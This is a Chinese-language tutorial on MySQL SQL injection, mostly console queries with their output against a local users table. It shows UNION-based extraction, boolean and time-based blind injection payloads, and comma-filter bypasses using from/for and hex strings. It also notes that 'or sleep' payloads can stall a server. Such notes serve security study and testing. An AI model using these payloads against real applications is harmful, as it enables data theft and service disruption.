注释符:


#
/*

 

多条数据显示:


mysql> select group_concat(user(),version());
+--------------------------------+
| group_concat(user(),version()) |
+--------------------------------+
| root@localhost5.5.40-log |
+--------------------------------+
1 row in set (0.00 sec)

mysql> select concat_ws(0x7e,user(),version());
+----------------------------------+
| concat_ws(0x7e,user(),version()) |
+----------------------------------+
| root@localhost~5.5.40-log |
+----------------------------------+
1 row in set (0.00 sec)

 

相关函数:


user()、system_user()、current_user 用户名
version()、@@version 版本
database() 数据库
ascii()、ord() 获取ASCII
substr()、substring()、mid() FIND_IN_SET(str,strlist) strscmp(str1,str2)提取字符

 

联合查询:


获取注入所在表的字段数:

mysql> select * from users where id = 1 order by 3;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
+----+----------+----------------+
1 row in set (0.00 sec)

mysql> select * from users where id = 1 order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'

然后从页面中获取能够回显出来的字段

mysql> select * from users where id = 1 and 1=2 union select 1,2,concat_ws(0x7e,user(),database(),version()) ;
+----+----------+--------------------------------+
| id | username | password |
+----+----------+--------------------------------+
| 1 | 2 | root@localhost~test~5.5.40-log |
+----+----------+--------------------------------+
1 row in set (0.00 sec)

 

布尔盲注:


盲注是指数据不会直接回显到页面中,而是通过比对页面返回的不同而判断是否存在SQL注入,例如:
1)返回数据包的Content-Length是否相同
2)返回数据包的状态码是否相同,例如在一些查询中如果使用 or 1=1这样的payload就可能会造成服务端返回500以上的错误。
3)返回数据包HTTP头中的内容是否相同,这个在使用Burp时经常会有误报就是因为比对到了Set-cookie头。
逻辑运算符有and or xor && ||
比较运算符有like rlike > < = regexp in between等
通常获取数据的方式是通过ascii比对。

mysql> select * from users where id = 1 and substr(user()from(1)for(1)) regexp '[a-z]';
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
+----+----------+----------------+
1 row in set (0.00 sec)
mysql> select * from users where id = 1 and substr(user()from(1)for(1)) regexp '[1-9]';
Empty set (0.00 sec)

这里使用from for绕过对逗号的过滤。
这里也可以将正则修改为16进制。

mysql> select * from users where id = 1 and substr(user()from(1)for(1)) regexp 0x5b612d7a5d;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
+----+----------+----------------+
1 row in set (0.00 sec)

比对ascii

mysql> select * from users where id = 1 and ord(mid(version()from(1)for(1))) = 53;

find_in_set函数,如果相同则返回1 不同则返回0

mysql> select * from users where id = 1 and find_in_set(53,ord(substr(version()from(1)for(1))));
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
+----+----------+----------------+
1 row in set (0.00 sec)

mysql> select * from users where id = 1 and find_in_set(52,ord(substr(version()from(1)for(1))));
Empty set (0.00 sec)

strcmp函数,如果两个值相同则返回0

mysql> select * from users where id = 1 and strcmp(53,ord(substr(version()from(1)for(1))));
Empty set (0.00 sec)

mysql> select * from users where id = 1 and strcmp(54,ord(substr(version()from(1)for(1))));
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
+----+----------+----------------+
1 row in set (0.00 sec)

 

时间盲注:


sleep(5)和benchmark(1000000,sha(1))

mysql> select * from users where id = 1 and if(ord(substring(version()from(1)for(1)))=53,benchmark(10000000,sha(1)),1);
Empty set (3.46 sec)

如果执行的是or sleep(2)就可能造成服务端不可用。因为不满足id = 1的条目都会sleep(2),例如:
查看当前users表存在4条。

mysql> select * from users;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
| 2 | 0 | 123456 |
| 3 | 0 | pass |
| 4 | 0 | 0 |
+----+----------+----------------+
4 rows in set (0.00 sec)
mysql> select * from users where id = 1 or if(ord(substring(version()from(1)for(1)))=53,sleep(2),1);
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
+----+----------+----------------+
1 row in set (6.00 sec)

可以看到有三个条目不满足id = 1,所以延迟了6S。而如果存在数万条的话,就可能会对服务器异常。

这里需要知道的是sleep和benchmark都会返回0,所以如果使用and的话查询结果为空。

mysql> select sleep(2);
+----------+
| sleep(2) |
+----------+
| 0 |
+----------+
1 row in set (2.00 sec)

mysql> select benchmark(10000000,sha(1));
+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
| 0 |
+----------------------------+
1 row in set (3.53 sec)

报错注入:


【SQL注入】报错注入姿势总结